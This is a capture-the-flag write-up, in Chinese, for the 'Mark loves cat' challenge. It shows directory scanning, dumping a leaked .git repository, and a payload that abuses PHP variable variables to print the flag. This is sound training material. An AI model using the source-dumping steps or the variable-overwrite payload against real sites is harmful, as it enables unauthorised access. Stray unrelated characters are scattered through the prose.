[BJDCTF2020]Mark loves cat

題目

圖片.png

過程
1.需要用到dirsearch和githack塑陵,項(xiàng)目已經(jīng)部署在gihub上,直接git clone url就可以下載
https://github.com/maurosoria/dirsearch
https://github.com/BugScanTeam/GitHack
2.dirsearch掃描目錄憔涉,發(fā)現(xiàn)存在源碼泄露
python3 dirsearch.py -e php,txt,zip -u https://target -w db/dicc.txt
圖片.png

3.使用Githack下載

<?php
include'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_GET as $x => $y){ //get傳值
    $$x = $$y;  //漏洞在這里  比如輸入 yds=flag 相當(dāng)于 $yds=$flag
}

foreach($_GET as $x => $y){ 
    if($_GET['flag'] === $x && $x !== 'flag'){ //判斷get傳進(jìn)來的值等不等于flag 如果等于flag則跳過
        exit($handsome);
    }
}

//檢測(cè)get是否為flag 或者post是否為flag  必須兩方都為假  否則輸出$yds
//通過這里我們就可以結(jié)合前面的來構(gòu)造 既然要輸出$yds所以我們想辦法讓$flag的值賦值給$yds  
//構(gòu)造yds=flag GET傳輸 在經(jīng)過第一個(gè)foreach的時(shí)候進(jìn)行了賦值 等于進(jìn)行了這樣的一個(gè)操作$yds=$flag  
//所以這個(gè)條件為真就可以輸出flag了骏融。
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
    
}
//

//檢測(cè)POST flag是否為flag  或者get 是否為flag   //至少有一個(gè)為真則為真
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

?>

分析一下代碼邏輯

forsearch:
post傳參和get傳參的參數(shù)鍵名和值

首先我們post:$flag=flag

foreach($_POST as $x => $y){
    $$x = $y;
}

簡(jiǎn)單好理解一點(diǎn),我們直接帶入第一行后再比較第二行
這樣就變成了$$flag = flag

接下來GET:?yds=flag

foreach($_GET as $x => $y){
    $$x = $$y;
}

$x為yds懂版,$y為flag鹃栽,所以$$x表示$yds$$y也就是$flag躯畴,$flag就是真正的flag{XXXXXX}民鼓。$$x =$$y,也就是$yds=flag{XXXXXX}蓬抄。
看源碼

只要沒有flag參數(shù)丰嘉,就會(huì)exit($yds),就可以得到flag了嚷缭。
4.payload
get:yds=flag
post:$flag=flag

圖片.png

圖片.png
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末供嚎,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子峭状,更是在濱河造成了極大的恐慌克滴,老刑警劉巖,帶你破解...
    沈念sama閱讀 219,188評(píng)論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件优床,死亡現(xiàn)場(chǎng)離奇詭異劝赔,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)胆敞,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,464評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門着帽,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人移层,你說我怎么就攤上這事仍翰。” “怎么了观话?”我有些...
    開封第一講書人閱讀 165,562評(píng)論 0 356
  • 文/不壞的土叔 我叫張陵予借,是天一觀的道長(zhǎng)。 經(jīng)常有香客問我,道長(zhǎng)灵迫,這世上最難降的妖魔是什么秦叛? 我笑而不...
    開封第一講書人閱讀 58,893評(píng)論 1 295
  • 正文 為了忘掉前任,我火速辦了婚禮瀑粥,結(jié)果婚禮上挣跋,老公的妹妹穿的比我還像新娘。我一直安慰自己狞换,他們只是感情好避咆,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,917評(píng)論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著修噪,像睡著了一般牌借。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上割按,一...
    開封第一講書人閱讀 51,708評(píng)論 1 305
  • 那天膨报,我揣著相機(jī)與錄音,去河邊找鬼适荣。 笑死现柠,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的弛矛。 我是一名探鬼主播够吩,決...
    沈念sama閱讀 40,430評(píng)論 3 420
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼丈氓!你這毒婦竟也來了周循?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,342評(píng)論 0 276
  • 序言:老撾萬榮一對(duì)情侶失蹤万俗,失蹤者是張志新(化名)和其女友劉穎湾笛,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體闰歪,經(jīng)...
    沈念sama閱讀 45,801評(píng)論 1 317
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡嚎研,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,976評(píng)論 3 337
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了库倘。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片临扮。...
    茶點(diǎn)故事閱讀 40,115評(píng)論 1 351
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖教翩,靈堂內(nèi)的尸體忽然破棺而出杆勇,到底是詐尸還是另有隱情,我是刑警寧澤饱亿,帶...
    沈念sama閱讀 35,804評(píng)論 5 346
  • 正文 年R本政府宣布蚜退,位于F島的核電站闰靴,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏关霸。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,458評(píng)論 3 331
  • 文/蒙蒙 一杰扫、第九天 我趴在偏房一處隱蔽的房頂上張望队寇。 院中可真熱鬧,春花似錦章姓、人聲如沸佳遣。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,008評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)零渐。三九已至,卻和暖如春系忙,著一層夾襖步出監(jiān)牢的瞬間诵盼,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,135評(píng)論 1 272
  • 我被黑心中介騙來泰國(guó)打工银还, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留风宁,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 48,365評(píng)論 3 373
  • 正文 我出身青樓蛹疯,卻偏偏與公主長(zhǎng)得像戒财,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子捺弦,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,055評(píng)論 2 355